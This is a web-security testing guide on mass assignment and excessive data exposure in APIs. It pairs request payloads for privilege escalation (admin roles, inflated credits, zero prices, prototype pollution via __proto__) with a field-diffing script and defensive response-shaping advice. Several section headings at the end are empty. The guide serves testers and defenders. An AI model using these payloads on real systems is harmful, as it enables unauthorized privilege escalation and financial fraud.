Mass Assignment & Data Exposure

Mass assignment (also known as Auto-Binding) occurs when an API endpoint automatically binds client input to internal object properties without filtering. This allows attackers to modify properties they shouldn't have access to, such as isAdmin, balance, or role.

Mass Assignment (Write Side)

The goal is to identify hidden fields and try to modify them.

1. Observe the API response

Look for fields in the response that are not present in the request documentation, such as role, isVerified, or credits.

Request:

GET /api/users/1001

Response:

{
  "id": 1001,
  "name": "John",
  "email": "john@example.com",
  "role": "user",
  "isVerified": true,
  "credits": 100,
  "internalId": "abc123"
}

2. Attempt modification

Try to include these fields in a PUT or POST request with elevated values.

PUT /api/users/1001
Content-Type: application/json

{
  "name": "John",
  "role": "admin",
  "isVerified": true,
  "credits": 99999
}

3. Common parameters

Even if you don't see them in the response, try guessing common administrative parameter names.

{
  "role": "admin",
  "isAdmin": true,
  "admin": true,
  "is_admin": true,
  "user_type": "admin",
  "userType": "admin",
  "privilege": "admin",
  "permissions": ["admin"],
  "access": "full",
  "verified": true,
  "email_verified": true,
  "active": true,
  "approved": true,
  "credits": 99999,
  "balance": 99999,
  "discount": 100,
  "price": 0
}

4. Registration testing

Registration endpoints are often vulnerable to mass assignment.

POST /api/register
Content-Type: application/json

{
  "username": "attacker",
  "password": "password123",
  "email": "attacker@evil.com",
  "role": "admin"
}

5. Nested objects

Don't forget to test nested objects.

{
  "user": {
    "role": "admin"
  },
  "profile": {
    "isAdmin": true
  }
}

The diagram is wider than this screen — swipe it sideways to read the labels.

Spec vs Response: Field Diffing

Compare the response schema with the body the endpoint actually returns. Any key in the body that the schema does not declare is either an undocumented feature or a leak, and either way it is a candidate.

# POSIX sh. Temp files, not <(…): process substitution is bash/ksh/zsh only.
mkdir -p diff && cd diff || exit 1

# 0. Inline every $ref so the schema body is actually present
npx @redocly/cli bundle ../openapi.json -o bundled.json

# 1. Every property the schema declares for this response
jq -r '.paths["/api/users/{id}"].get.responses["200"]
       .content["application/json"].schema
       | [.. | objects | (.properties? // empty) | keys[]] | unique[]' bundled.json \
  | LC_ALL=C sort > documented.txt

# 2. Every key the live body actually carries
curl -s -H "Authorization: Bearer $TOKEN" https://target.com/api/users/1 \
  | jq -r 'keys[]' | LC_ALL=C sort > actual.txt

# 3. In the body, absent from the schema -> read-side candidate
comm -13 documented.txt actual.txt

# Nested fields leak too: compare dot-paths instead of top-level keys
curl -s -H "Authorization: Bearer $TOKEN" https://target.com/api/users/1 \
  | jq -r 'paths(scalars) | join(".")' | LC_ALL=C sort > actual-leaves.txt

Excessive Data Exposure (Read Side)

The same response from step 1 above is the read-side finding when it is returned to a client that has no use for those fields. The API is not leaking because authorization failed — it is leaking because the serializer handed back the database row.

GET /api/users/1
Authorization: Bearer $USER_TOKEN

{
  "id": 1001,
  "name": "John",
  "email": "john@example.com",
  "role": "user",
  "isVerified": true,
  "credits": 100,
  "internalId": "abc123"
}

Decide field by field what the calling client actually needs, and say so in the report:

How to test it

• Fetch the object as its owner, then fetch the same object as a second account: if the shape is identical and includes server-only fields, you have BOLA plus excessive exposure on the same endpoint.
• Compare a detail response with the collection response (GET /api/users). Collections are frequently built from a different serializer and leak more per row, multiplied by page size.
• Check the endpoints that are not the API: CSV/PDF exports, webhook payloads, admin search and the mobile client's cached responses.
• Diff the response against the declared schema (previous section). Undeclared keys are the shortlist; then read each one and decide whether the client can justify it.
• Test error paths: a 400 that echoes the whole object back is the same leak with a different status code.

How to report it

Report it as API3 excessive data exposure, with the endpoint, the field list, one request/response pair using a synthetic record, and the business impact of each field. Do not paste a real customer's row into the report — redact the values, keep the field names, and say which fields were returned to a caller who should not have seen them. If the leak is on another user's object, file the BOLA finding separately: they are two fixes.

The control: shape the response, do not trust the client

// Bad: the row is the response. Every column the query selected is now public.
res.json(row);

// Good: an explicit output DTO — a closed allow-list of fields.
const toPublicUser = (u) => ({
  id: u.id,
  name: u.name,
  email: u.email
});

res.json(toPublicUser(row));

The same rule applies one layer down: select only the columns the response needs, keep private and public representations as separate types, and add a contract test that asserts the exact key set of each response so a new column cannot silently become public.

Framework-Specific Payloads

Different frameworks handle property binding differently. Tailor your payloads accordingly.

Ruby on Rails

# Rails params — try nested attributes
PATCH /api/users/1
{"user": {"role": "admin", "admin": true}}

# Rails accepts_nested_attributes_for
{"user": {"profile_attributes": {"verified": true}}}

Django / DRF

# Django REST Framework — try fields excluded from serializer
PATCH /api/users/1/
{"is_staff": true, "is_superuser": true}

# Nested serializers
{"profile": {"is_verified": true, "credit_balance": 99999}}

Node.js / Express + Mongoose

# Mongoose models — try schema fields not in the form
PUT /api/users/1
{"role": "admin", "__v": 0}

# Prototype pollution via JSON merge
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}

Evidence Collection

False Positive Identification

Testing Checklist

Remediation & Defense